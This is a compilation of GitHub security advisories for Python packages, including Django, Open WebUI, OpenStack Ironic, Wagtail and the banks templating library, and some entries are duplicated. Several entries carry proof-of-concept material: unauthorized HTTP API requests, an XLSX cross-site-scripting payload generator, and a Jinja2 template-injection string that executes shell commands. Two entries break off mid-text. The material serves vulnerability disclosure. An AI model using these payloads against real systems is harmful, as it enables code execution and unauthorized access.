deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-54w4-233h-x86g
Package: ironic-python-agent (PIP)
Severity: HIGH (CVSS 7.7)
CWE: CWE-669: Incorrect Resource Transfer Between Spheres
Vulnerable versions: >= 30.0.0, < 32.0.1
Patched in: 32.0.1

Summary: OpenStack Ironic has an Incorrect Resource Transfer Between Spheres

Details:
An issue was discovered in idrac in OpenStack Ironic before 35.0.1. During import, a user invoking molds can request authorization to be sent to a remote endpoint. The credential forwarded is a time-limited Keystone token (which provides access to all OpenStack services Ironic is authorized for); or basic credentials configured for molds storage. The fixed versions are 26.1.6, 29.0.5, 32.0.1, and 35.0.1.
GitHub Security Advisory: GHSA-54w4-233h-x86g
Package: ironic-python-agent (PIP)
Severity: HIGH (CVSS 7.7)
CWE: CWE-669: Incorrect Resource Transfer Between Spheres
Vulnerable versions: >= 33.0.0, < 35.0.1
Patched in: 35.0.1

Summary: OpenStack Ironic has an Incorrect Resource Transfer Between Spheres

Details:
An issue was discovered in idrac in OpenStack Ironic before 35.0.1. During import, a user invoking molds can request authorization to be sent to a remote endpoint. The credential forwarded is a time-limited Keystone token (which provides access to all OpenStack services Ironic is authorized for); or basic credentials configured for molds storage. The fixed versions are 26.1.6, 29.0.5, 32.0.1, and 35.0.1.
GitHub Security Advisory: GHSA-4vg5-rp28-gvjf
Package: open-webui (PIP)
Severity: HIGH (CVSS 7.3)
CWE: CWE-862: Missing Authorization
Vulnerable versions: <= 0.1.123
Patched in: 0.1.124

Summary: Open WebUI has Improper Authorization Control

Details:
# **CONFIDENTIAL**

# Vulnerability Disclosure Analysis Documentation

---

## Vulnerability Details

| # | Field | Value |
|---|-------|-------|
| 1 | **Discoverer** | Taylor Pennington of KoreLogic, Inc. |
| 2 | **Date Submitted** | June 11, 2024 |
| 3 | **Title** | Open WebUI Improper Authorization Control |
| 5 | **Affected Vendor** | Open WebUI |
| 6 | **Affected Product(s)** | Open WebUI (Formerly Ollama WebUI) |
| 7 | **Affected Version(s)** | 0.1.105 |
| 8 | **Platform/OS** | Debian GNU/Linux 12 (bookworm) |
| 9 | **Vector** | HTTP web interface |
| 10 | **CWE** | 285 Improper Authorization |

---

## 4. High-level Summary

There is a missing authorization check affecting user accounts with a `pending` status allowing the user to make authenticated API calls as a `user` context.

---

## 11. Technical Analysis

The Open WebUI web application has three user role classifications: `user`, `admin`, and `pending`. By default, when Open WebUI is configured with `new sign-ups` enabled, the default user role is set to `pending`. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either `user` or `admin` before that user is able to access the web application. However, this check is only enforced at the client presentation layer, the API does not properly validate that the user has an authorized user role of `user`.

### Request

```http
POST /api/v1/auths/signup HTTP/1.1
Host: openwebui.example.com
Content-Length: 60

{ 
 "name": "", 
 "email": "bad_guy@korelogic.com", 
 "password": "a" 
 }
```

### Response

```http
HTTP/1.1 200 OK
...

{
"id": "f839557a-031a-47a5-9999-0b0998f8f959",
"email": "bad_guy@korelogic.com",
"name": "",
"role": "pending",
"profile_image_url": "/user.png",
"token": "[CREDENTIAL_REDACTED]",
"token_type": "Bearer"
}
```

An attacker can then use the JWT in the above response to make direct API calls or they can forge the authentication response and use the web UI.

With the JWT, an attacker can now query the LLM. However, for this demonstration we will query the `/ollama/api/tags` endpoint and get a list of available models as this is an authenticated endpoint. Attempting to make this request without a valid JWT returns an HTTP `401 Unauthorized` response.

### Request

```http
GET /ollama/api/tags HTTP/1.1
Host: openwebui.example.com
Authorization: Bearer [CREDENTIAL_REDACTED]
```

### Response

```http
HTTP/1.1 200 OK
...

{
"models": [
    {
    "name": "ollama.com/emsi/mixtral-8x22b:latest",
    "model": "ollama.com/emsi/mixtral-8x22b:latest",
    "modified_at": "2024-04-12T17:27:51.479356401-04:00",
    "size":[PII_REDACTED]1,
    "digest": "9b000033acd802656a652c7df4e2530
GitHub Security Advisory: GHSA-jwf8-pv5p-vhmc
Package: open-webui (PIP)
Severity: HIGH (CVSS 7.3)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 0.7.2
Patched in: 0.8.0

Summary: Open WebUI has stored XSS in Excel file preview

Details:
### Summary
Excel file attachments are previewed in an unsafe way. A crafted XLSX file payload can be used to cause the [sheetjs](https://git.sheetjs.com/sheetjs/sheetjs) function [sheet_to_html](https://git.sheetjs.com/sheetjs/sheetjs/src/commit/66cf8d2117d271f89e4f47b5fed35a3e1ea93f67/bits/79_html.js#L127) to embed an XSS payload into the generated HTML. This is subsequently added to the DOM unsanitized via [`@html`](https://svelte.dev/docs/svelte/@html) causing the payload to trigger.

### Details
The function used to convert XLSX documents to HTML for preview does not perform any input validation or sanitisation for the generated HTML
https://github.com/open-webui/open-webui/blob/a7271532f8a38da46785afcaa7e65f9a45e7d753/src/lib/components/common/FileItemModal.svelte#L120-L133
XLSX attachments are processed by this function, converted to HTML with `XLSX.utils.sheet_to_html` before ultimately being assigned to the variable `excelHtml`. Later there is logic that causes this to be assigned directly to the DOM when the preview tab is selected.
https://github.com/open-webui/open-webui/blob/a7271532f8a38da46785afcaa7e65f9a45e7d753/src/lib/components/common/FileItemModal.svelte#L358-L400

### PoC
A python script to generate a payload file is as follows:
```python
import xlsxwriter                                                                                                                
                                                                                                                                 
payload = '<img src=x onerror="alert(\'XSS Triggered by XLSX file\')">'                                                          
                                                                                                                             
workbook = xlsxwriter.Workbook('xss_payload.xlsx')                                                                           
worksheet = workbook.add_worksheet()                                                                                         
                                                                                                                             
payload_format = workbook.add_format()                                                                                       
                                                                                                                             
worksheet.write_rich_string('A1',                                                                                            
    'This cell contains a hidden payload: ',                                                                                 
    payload_format, payload                                                                                                  
)
GitHub Security Advisory: GHSA-jv4p-mhmp-69vw
Package: langchain-chatchat (PIP)
Severity: LOW (CVSS 2.6)
CWE: CWE-330: Use of Insufficiently Random Values
Vulnerable versions: <= 0.3.1.3
Patched in: unpatched

Summary: Langchain-Chatchat Uses Insufficiently Random Values

Details:
A vulnerability was found in chatchat-space Langchain-Chatchat up to 0.3.1.3. The affected element is the function _get_file_id of the file libs/chatchat-server/chatchat/server/api_server/openai_routes.py of the component Uploaded File Handler. Performing a manipulation results in insufficiently random values. Access to the local network is required for this attack. The attack's complexity is rated as high. The exploitability is described as difficult. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.
GitHub Security Advisory: GHSA-vxvf-xvm3-p8j5
Package: horizon (PIP)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-696: Incorrect Behavior Order
Vulnerable versions: >= 25.6, < 25.7.3
Patched in: 25.7.3

Summary: OpenStack Horizon has Incorrect Behavior Order

Details:
An issue was discovered in OpenStack Horizon 25.6 and 25.7 before 25.7.3. There is a write operation to the session storage backend before authentication and thus storage can be exhausted by unauthenticated requests. This is a regression of the CVE-2014-8124 fix.
GitHub Security Advisory: GHSA-x229-w2j4-h748
Package: langchain-chatchat (PIP)
Severity: LOW (CVSS 2.6)
CWE: CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Vulnerable versions: <= 0.3.1.3
Patched in: unpatched

Summary: Langchain-Chatchat has a Race Condition in its OpenAI-Compatible File Upload API

Details:
A vulnerability has been found in chatchat-space Langchain-Chatchat up to 0.3.1.3. Impacted is the function files of the file libs/chatchat-server/chatchat/server/api_server/openai_routes.py of the component OpenAI-Compatible File Upload API. Such manipulation of the argument file.filename leads to time-of-check time-of-use. Access to the local network is required for this attack to succeed. The attack requires a high level of complexity. The exploitability is considered difficult. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.
GitHub Security Advisory: GHSA-wmvv-fhm6-w34x
Package: langchain-chatchat (PIP)
Severity: LOW (CVSS 2.6)
CWE: CWE-327: Use of a Broken or Risky Cryptographic Algorithm
Vulnerable versions: <= 0.3.1.3
Patched in: unpatched

Summary: Langchain-Chatchat Uses a Broken or Risky Cryptographic Algorithm

Details:
A flaw has been found in chatchat-space Langchain-Chatchat up to 0.3.1.3. This issue affects the function PIL.Image.tobytes of the file libs/chatchat-server/chatchat/webui_pages/dialogue/dialogue.py of the component Vision Chat Paste Image Handler. This manipulation of the argument paste_image.image_data causes use of weak hash. The attacker needs to be present on the local network. The attack is considered to have high complexity. The exploitability is assessed as difficult. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.
GitHub Security Advisory: GHSA-5hrc-gvxj-w55p
Package: Django (PIP)
Severity: LOW (CVSS 4.3)
CWE: CWE-524: Use of Cache Containing Sensitive Information
Vulnerable versions: >= 5.2, < 5.2.14
Patched in: 5.2.14

Summary: Django Uses Cache Containing Sensitive Information

Details:
An issue was discovered in 6.0 before 6.0.5 and 5.2 before 5.2.14. `django.middleware.cache.UpdateCacheMiddleware` erroneously caches requests where the `Vary` header contained an asterisk (`'*'`). This can lead to private data being stored and served. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.

Django thanks Ahmad Sadeddin for reporting this issue.
GitHub Security Advisory: GHSA-5hrc-gvxj-w55p
Package: Django (PIP)
Severity: LOW (CVSS 4.3)
CWE: CWE-524: Use of Cache Containing Sensitive Information
Vulnerable versions: >= 6.0, < 6.0.5
Patched in: 6.0.5

Summary: Django Uses Cache Containing Sensitive Information

Details:
An issue was discovered in 6.0 before 6.0.5 and 5.2 before 5.2.14. `django.middleware.cache.UpdateCacheMiddleware` erroneously caches requests where the `Vary` header contained an asterisk (`'*'`). This can lead to private data being stored and served. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.

Django thanks Ahmad Sadeddin for reporting this issue.
GitHub Security Advisory: GHSA-w26r-rmm8-9c29
Package: Django (PIP)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-130: Improper Handling of Length Parameter Inconsistency
Vulnerable versions: >= 5.2, < 5.2.14
Patched in: 5.2.14

Summary: Django has an Improper Handling of Length Parameter Inconsistency

Details:
An issue was discovered in 6.0 before 6.0.5 and 5.2 before 5.2.14. ASGI requests with a missing or understated `Content-Length` header can bypass the `FILE_UPLOAD_MAX_MEMORY_SIZE` limit, potentially loading large files into memory and causing service degradation.
 
As a reminder, Django expects a limit to be configured at the web server level rather than solely relying on `FILE_UPLOAD_MAX_MEMORY_SIZE`. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.

Django thanks Kyle Agronick for reporting this issue.
GitHub Security Advisory: GHSA-w26r-rmm8-9c29
Package: Django (PIP)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-130: Improper Handling of Length Parameter Inconsistency
Vulnerable versions: >= 6.0, < 6.0.5
Patched in: 6.0.5

Summary: Django has an Improper Handling of Length Parameter Inconsistency

Details:
An issue was discovered in 6.0 before 6.0.5 and 5.2 before 5.2.14. ASGI requests with a missing or understated `Content-Length` header can bypass the `FILE_UPLOAD_MAX_MEMORY_SIZE` limit, potentially loading large files into memory and causing service degradation.
 
As a reminder, Django expects a limit to be configured at the web server level rather than solely relying on `FILE_UPLOAD_MAX_MEMORY_SIZE`. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.

Django thanks Kyle Agronick for reporting this issue.
GitHub Security Advisory: GHSA-7h2m-m8vj-598h
Package: Django (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-539: Use of Persistent Cookies Containing Sensitive Information
Vulnerable versions: >= 5.2, < 5.2.14
Patched in: 5.2.14

Summary: Django Uses Persistent Cookies Containing Sensitive Information 

Details:
An issue was discovered in 6.0 before 6.0.5 and 5.2 before 5.2.14. Response headers do not vary on cookies if a session is not modified, but `SESSION_SAVE_EVERY_REQUEST` is `True`. A remote attacker can steal a user's session after that user visits a cached public page. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.

Django thanks Cantina for reporting this issue.
GitHub Security Advisory: GHSA-7h2m-m8vj-598h
Package: Django (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-539: Use of Persistent Cookies Containing Sensitive Information
Vulnerable versions: >= 6.0, < 6.0.5
Patched in: 6.0.5

Summary: Django Uses Persistent Cookies Containing Sensitive Information 

Details:
An issue was discovered in 6.0 before 6.0.5 and 5.2 before 5.2.14. Response headers do not vary on cookies if a session is not modified, but `SESSION_SAVE_EVERY_REQUEST` is `True`. A remote attacker can steal a user's session after that user visits a cached public page. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.

Django thanks Cantina for reporting this issue.
GitHub Security Advisory: GHSA-gphh-9q3h-jgpp
Package: banks (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
Vulnerable versions: <= 2.4.1
Patched in: 2.4.2

Summary: banks has Critical Remote Code Execution (RCE) via Jinja2 SSTI

Details:
## Summary

`banks <= 2.4.1` uses `jinja2.Environment()` (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to `Prompt()` are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.

This is a vulnerability in how `banks` initializes its Jinja2 environment — not in Jinja2 itself.

## Vulnerable Code

`src/banks/env.py` — the global Jinja2 environment is created without sandboxing:

```python
env = Environment(
    autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False),
    ...
)
```

## Attack Scenario

An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to `Prompt()` is vulnerable. For example:

```python
# User-controlled input reaches Prompt()
user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(user_input)
p.text()  # Executes arbitrary command on the host
```

## Proof of Concept

**Setup:**
```bash
pip install banks==2.4.1
```

**PoC script:**
```python
from banks import Prompt

payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(payload)
result = p.text()
print(f"[+] Output: {result}")
```

**Confirmed output:**
```
[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...

text

**File-write proof:**
```python
from banks import Prompt

p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}")
p.text()
```
```bash
ls -l /tmp/rce_banks_exec
# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec
```

## Impact

Applications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.

## Fix

Fixed in `banks 2.4.2` (PR #74) by switching to `jinja2.sandbox.SandboxedEnvironment`, which blocks the dunder attribute traversal chain this exploit relies on.

Developers on `banks <= 2.4.1` should upgrade to `2.4.2` and avoid passing untrusted user input as the template argument to `Prompt()`.

## Resources
- Fix: https://github.com/masci/banks/pull/74
- CVE-2024-41950 (Haystack — identical root cause, CVSS 7.5)
- CVE-2025-25362 (spacy-llm — identical root cause)
- CWE-1336: Improper Neutralization of Special Elements in a Template Engine
GitHub Security Advisory: GHSA-67rv-mg8q-5pf3
Package: wagtail (PIP)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-280: Improper Handling of Insufficient Permissions or Privileges 
Vulnerable versions: >= 7.1, < 7.3.2
Patched in: 7.3.2

Summary: Wagtail has improper permission handling when copying pages

Details:
### Impact

A CMS user with limited access to pages could copy a page they don't have access to to an area of the site they do. Once copied, they'd be able to view its contents, and potentially publish it. Permissions were correctly checked for the copy destination, but not for the source page.

### Patches

Patched versions have been released as Wagtail 7.0.7 and 7.3.2. The new 7.4 LTS feature release also incorporates this fix.

### Workarounds

No workaround is available.


### Acknowledgements

Wagtail thanks independent security researcher Sanjok Karki @thesanjok for reporting this issue.

### For more information
If there are any questions or comments about this advisory:

* Visit Wagtail's [support channels](https://docs.wagtail.org/en/stable/support.html)
* Send an email to [security@wagtail.org](mailto:security@wagtail.org) (view the [security policy](https://github.com/wagtail/wagtail/security/policy) for more information).
GitHub Security Advisory: GHSA-67rv-mg8q-5pf3
Package: wagtail (PIP)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-280: Improper Handling of Insufficient Permissions or Privileges 
Vulnerable versions: < 7.0.7
Patched in: 7.0.7

Summary: Wagtail has improper permission handling when copying pages

Details:
### Impact

A CMS user with limited access to pages could copy a page they don't have access to to an area of the site they do. Once copied, they'd be able to view its contents, and potentially publish it. Permissions were correctly checked for the copy destination, but not for the source page.

### Patches

Patched versions have been released as Wagtail 7.0.7 and 7.3.2. The new 7.4 LTS feature release also incorporates this fix.

### Workarounds

No workaround is available.


### Acknowledgements

Wagtail thanks independent security researcher Sanjok Karki @thesanjok for reporting this issue.

### For more information
If there are any questions or comments about this advisory:

* Visit Wagtail's [support channels](https://docs.wagtail.org/en/stable/support.html)
* Send an email to [security@wagtail.org](mailto:security@wagtail.org) (view the [security policy](https://github.com/wagtail/wagtail/security/policy) for more information).
GitHub Security Advisory: GHSA-p5gm-92h4-6pv6
Package: wagtail (PIP)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-280: Improper Handling of Insufficient Permissions or Privileges 
Vulnerable versions: >= 7.1, < 7.3.2
Patched in: 7.3.2

Summary: Wagtail has improper restriction handling on Documents and Images API

Details:
### Impact

The Documents and Images [API](https://docs.wagtail.org/en/stable/advanced_topics/api/index.html) incorrectly listed items in private collections. A user with access to the API could see the filename and name of documents and images in private collections.

### Patches

Patched versions have been released as Wagtail 7.0.7 and 7.3.2. The new 7.4 LTS feature release also incorporates this fix.

### Workarounds

Site owners using Wagtail's API can avoid the vulnerability by adding [authentication](https://docs.wagtail.org/en/stable/advanced_topics/api/v2/configuration.html#authentication) to the Documents and Images APIs.


### Acknowledgements

Wagtail thanks independent security researcher Sanjok Karki @thesanjok for reporting this issue.

### For more information
If there are any questions or comments about this advisory:

* Visit Wagtail's [support channels](https://docs.wagtail.org/en/stable/support.html)
* Send an email to [security@wagtail.org](mailto:security@wagtail.org) (view the [security policy](https://github.com/wagtail/wagtail/security/policy) for more information).
GitHub Security Advisory: GHSA-p5gm-92h4-6pv6
Package: wagtail (PIP)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-280: Improper Handling of Insufficient Permissions or Privileges 
Vulnerable versions: < 7.0.7
Patched in: 7.0.7

Summary: Wagtail has improper restriction handling on Documents and Images API

Details:
### Impact

The Documents and Images [API](https://docs.wagtail.org/en/stable/advanced_topics/api/index.html) incorrectly listed items in private collections. A user with access to the API could see the filename and name of documents and images in private collections.

### Patches

Patched versions have been released as Wagtail 7.0.7 and 7.3.2. The new 7.4 LTS feature release also incorporates this fix.

### Workarounds

Site owners using Wagtail's API can avoid the vulnerability by adding [authentication](https://docs.wagtail.org/en/stable/advanced_topics/api/v2/configuration.html#authentication) to the Documents and Images APIs.


### Acknowledgements

Wagtail thanks independent security researcher Sanjok Karki @thesanjok for reporting this issue.

### For more information
If there are any questions or comments about this advisory:

* Visit Wagtail's [support channels](https://docs.wagtail.org/en/stable/support.html)
* Send an email to [security@wagtail.org](mailto:security@wagtail.org) (view the [security policy](https://github.com/wagtail/wagtail/security/policy) for more information).